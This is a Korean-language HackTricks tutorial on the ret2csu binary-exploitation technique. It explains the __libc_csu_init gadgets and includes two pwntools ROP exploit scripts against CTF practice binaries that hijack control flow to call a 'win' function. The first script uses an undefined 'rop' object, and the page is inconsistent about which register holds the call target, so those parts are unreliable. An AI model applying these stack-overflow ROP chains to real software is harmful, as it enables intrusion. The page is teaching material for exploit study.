Ret2csu

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

https://www.scs.stanford.edu/brop/bittau-brop.pdf๊ธฐ๋ณธ ์ •๋ณด

ret2csu๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์ œ์–ดํ•˜๋ ค๊ณ  ํ•  ๋•Œ ์ผ๋ฐ˜์ ์œผ๋กœ ํ”„๋กœ๊ทธ๋žจ์˜ ๋™์ž‘์„ ์กฐ์ž‘ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•˜๋Š” gadgets๋ฅผ ์ฐพ์„ ์ˆ˜ ์—†์„ ๋•Œ ์‚ฌ์šฉ๋˜๋Š” ํ•ดํ‚น ๊ธฐ์ˆ ์ž…๋‹ˆ๋‹ค.

ํ”„๋กœ๊ทธ๋žจ์ด ํŠน์ • ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ(์˜ˆ: libc)๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ, ํ”„๋กœ๊ทธ๋žจ์˜ ๋‹ค์–‘ํ•œ ๋ถ€๋ถ„์ด ์„œ๋กœ ํ†ต์‹ ํ•˜๋Š” ๋ฐฉ์‹์„ ๊ด€๋ฆฌํ•˜๊ธฐ ์œ„ํ•œ ๋ช‡ ๊ฐ€์ง€ ๋‚ด์žฅ ํ•จ์ˆ˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ•จ์ˆ˜ ์ค‘์—๋Š” ์šฐ๋ฆฌ๊ฐ€ ์žƒ์–ด๋ฒ„๋ฆฐ gadgets ์—ญํ• ์„ ํ•  ์ˆ˜ ์žˆ๋Š” ์ˆจ๊ฒจ์ง„ ๋ณด์„๋“ค์ด ์žˆ์œผ๋ฉฐ, ํŠนํžˆ __libc_csu_init์ด๋ผ๋Š” ํ•จ์ˆ˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

__libc_csu_init์˜ ๋งˆ๋ฒ•์˜ Gadgets

**__libc_csu_init**์—๋Š” ๊ฐ•์กฐํ•  ๋‘ ๊ฐœ์˜ ๋ช…๋ น์–ด ์‹œํ€€์Šค(gadgets)๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค:

  1. ์ฒซ ๋ฒˆ์งธ ์‹œํ€€์Šค๋Š” ์—ฌ๋Ÿฌ ๋ ˆ์ง€์Šคํ„ฐ(rbx, rbp, r12, r13, r14, r15)์— ๊ฐ’์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค. ์ด๋“ค์€ ๋‚˜์ค‘์— ์‚ฌ์šฉํ•˜๊ณ  ์‹ถ์€ ์ˆซ์ž๋‚˜ ์ฃผ์†Œ๋ฅผ ์ €์žฅํ•  ์ˆ˜ ์žˆ๋Š” ์Šฌ๋กฏ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

์ด ์žฅ์น˜๋Š” ์Šคํƒ์—์„œ ๊ฐ’์„ ๊บผ๋‚ด์–ด ์ด๋Ÿฌํ•œ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

  1. ๋‘ ๋ฒˆ์งธ ์‹œํ€€์Šค๋Š” ์šฐ๋ฆฌ๊ฐ€ ์„ค์ •ํ•œ ๊ฐ’์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ช‡ ๊ฐ€์ง€ ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:
  • ํŠน์ • ๊ฐ’์„ ๋‹ค๋ฅธ ๋ ˆ์ง€์Šคํ„ฐ๋กœ ์ด๋™์‹œ์ผœ ํ•จ์ˆ˜์˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ์‚ฌ์šฉํ•  ์ค€๋น„๋ฅผ ํ•ฉ๋‹ˆ๋‹ค.
  • r15์™€ rbx์˜ ๊ฐ’์„ ๋”ํ•œ ํ›„ rbx์— 8์„ ๊ณฑํ•˜์—ฌ ๊ฒฐ์ •๋œ ์œ„์น˜๋กœ ํ˜ธ์ถœ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. ์•„๋งˆ๋„ ๊ฑฐ๊ธฐ์— ์“ธ ์ฃผ์†Œ๋ฅผ ๋ชจ๋ฅผ ๊ฒƒ์ด๊ณ  ret ๋ช…๋ น์–ด๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๋‘ ๋ฒˆ์งธ ๊ฐ€์ ฏ๋„ ret๋กœ ๋๋‚˜์ง€๋งŒ, ๊ทธ๊ฒƒ์— ๋„๋‹ฌํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ช‡ ๊ฐ€์ง€ ์กฐ๊ฑด์„ ์ถฉ์กฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

์กฐ๊ฑด์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • [r12 + rbx*8]๋Š” ํ˜ธ์ถœ ๊ฐ€๋Šฅํ•œ ํ•จ์ˆ˜๊ฐ€ ์ €์žฅ๋œ ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌ์ผœ์•ผ ํ•ฉ๋‹ˆ๋‹ค (์•„์ด๋””์–ด๊ฐ€ ์—†๊ณ  PIE๊ฐ€ ์—†๋‹ค๋ฉด, ๊ทธ๋ƒฅ _init ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค):
  • _init์ด 0x400560์— ์žˆ๋‹ค๋ฉด, GEF๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฉ”๋ชจ๋ฆฌ์—์„œ ๊ทธ์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ณ  [r12 + rbx*8]๊ฐ€ _init์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ๊ฐ€ ์žˆ๋Š” ์ฃผ์†Œ๊ฐ€ ๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค:
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gefโžค  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  โ†’   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  โ†’   "\x60\x05\x40[...]"
  • rbp์™€ rbx๋Š” ์ ํ”„๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด ๋™์ผํ•œ ๊ฐ’์„ ๊ฐ€์ ธ์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ณ ๋ คํ•ด์•ผ ํ•  ์ƒ๋žต๋œ pop์ด ์žˆ์Šต๋‹ˆ๋‹ค.

RDI ๋ฐ RSI

ret2csu ๊ฐ€์ ฏ์—์„œ **rdi**์™€ **rsi**๋ฅผ ์ œ์–ดํ•˜๋Š” ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ ํŠน์ • ์˜คํ”„์…‹์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

https://www.scs.stanford.edu/brop/bittau-brop.pdf

์ž์„ธํ•œ ์ •๋ณด๋Š” ์ด ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

BROP - Blind Return Oriented Programming

์˜ˆ์‹œ

ํ˜ธ์ถœ ์‚ฌ์šฉ

syscall์„ ํ•˜๊ฑฐ๋‚˜ write()์™€ ๊ฐ™์€ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ณ  ์‹ถ์ง€๋งŒ rdx์™€ rsi ๋ ˆ์ง€์Šคํ„ฐ์— ํŠน์ • ๊ฐ’์ด ํ•„์š”ํ•˜๋‹ค๊ณ  ๊ฐ€์ •ํ•ด ๋ณด์„ธ์š”. ์ผ๋ฐ˜์ ์œผ๋กœ ์ด๋Ÿฌํ•œ ๋ ˆ์ง€์Šคํ„ฐ๋ฅผ ์ง์ ‘ ์„ค์ •ํ•˜๋Š” ๊ฐ€์ ฏ์„ ์ฐพ๊ฒ ์ง€๋งŒ, ์ฐพ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ ret2csu๊ฐ€ ๋“ฑ์žฅํ•ฉ๋‹ˆ๋‹ค:

  1. ๋ ˆ์ง€์Šคํ„ฐ ์„ค์ •: ์ฒซ ๋ฒˆ์งธ ๋งค์ง ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•˜์—ฌ ์Šคํƒ์—์„œ ๊ฐ’์„ popํ•˜์—ฌ rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx), r15์— ๋„ฃ์Šต๋‹ˆ๋‹ค.
  2. ๋‘ ๋ฒˆ์งธ ๊ฐ€์ ฏ ์‚ฌ์šฉ: ์ด๋Ÿฌํ•œ ๋ ˆ์ง€์Šคํ„ฐ๊ฐ€ ์„ค์ •๋˜๋ฉด ๋‘ ๋ฒˆ์งธ ๊ฐ€์ ฏ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด ์„ ํƒํ•œ ๊ฐ’์„ rdx์™€ rsi(๊ฐ๊ฐ r14์™€ r13์—์„œ)๋กœ ์ด๋™์‹œ์ผœ ํ•จ์ˆ˜ ํ˜ธ์ถœ์„ ์œ„ํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ค€๋น„ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ r15์™€ rbx๋ฅผ ์ œ์–ดํ•˜์—ฌ ํ”„๋กœ๊ทธ๋žจ์ด ๊ณ„์‚ฐํ•œ ์ฃผ์†Œ์— ์žˆ๋Š” ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฃผ์†Œ๋Š” [r15 + rbx*8]์— ๋ฐฐ์น˜๋ฉ๋‹ˆ๋‹ค.

์ด ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•œ ์˜ˆ์‹œ์™€ ์„ค๋ช…์ด ์—ฌ๊ธฐ ์žˆ์Šต๋‹ˆ๋‹ค, ๊ทธ๋ฆฌ๊ณ  ์ด๊ฒƒ์ด ์‚ฌ์šฉ๋œ ์ตœ์ข… ์ต์Šคํ”Œ๋กœ์ž‡์ž…๋‹ˆ๋‹ค:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Warning

์ด์ „ ์ต์Šคํ”Œ๋กœ์ž‡์€ **RCE**๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ด ์•„๋‹ˆ๋ผ, **win**์ด๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค (ROP ์ฒด์ธ์—์„œ stdin ํ˜ธ์ถœ์„ ํ†ตํ•ด win์˜ ์ฃผ์†Œ๋ฅผ ๊ฐ€์ ธ์™€ r15์— ์ €์žฅํ•จ) ์„ธ ๋ฒˆ์งธ ์ธ์ˆ˜๋กœ ๊ฐ’ 0xdeadbeefcafed00d๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

ํ˜ธ์ถœ ์šฐํšŒ ๋ฐ ret ๋„๋‹ฌ

๋‹ค์Œ ์ต์Šคํ”Œ๋กœ์ž‡์€ ์ด ํŽ˜์ด์ง€์—์„œ ์ถ”์ถœ๋˜์—ˆ์œผ๋ฉฐ, ์—ฌ๊ธฐ์„œ ret2csu๊ฐ€ ์‚ฌ์šฉ๋˜์ง€๋งŒ ํ˜ธ์ถœ์„ ์‚ฌ์šฉํ•˜๋Š” ๋Œ€์‹  ๋น„๊ต๋ฅผ ์šฐํšŒํ•˜๊ณ  ํ˜ธ์ถœ ํ›„ ret์— ๋„๋‹ฌํ•ฉ๋‹ˆ๋‹ค:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Why Not Just Use libc Directly?

๋ณดํ†ต ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ๋Š” ret2plt + ret2lib์—๋„ ์ทจ์•ฝํ•˜์ง€๋งŒ, ๋•Œ๋•Œ๋กœ libc์—์„œ ์ง์ ‘ ์ฐพ์€ ๊ฐ€์ ฏ์œผ๋กœ ์‰ฝ๊ฒŒ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ๋ณด๋‹ค ๋” ๋งŽ์€ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ œ์–ดํ•ด์•ผ ํ•  ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, write() ํ•จ์ˆ˜๋Š” ์„ธ ๊ฐœ์˜ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ•„์š”๋กœ ํ•˜๋ฉฐ, ์ด ๋ชจ๋“  ๊ฒƒ์„ ์ง์ ‘ ์„ค์ •ํ•  ๊ฐ€์ ฏ์„ ์ฐพ๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ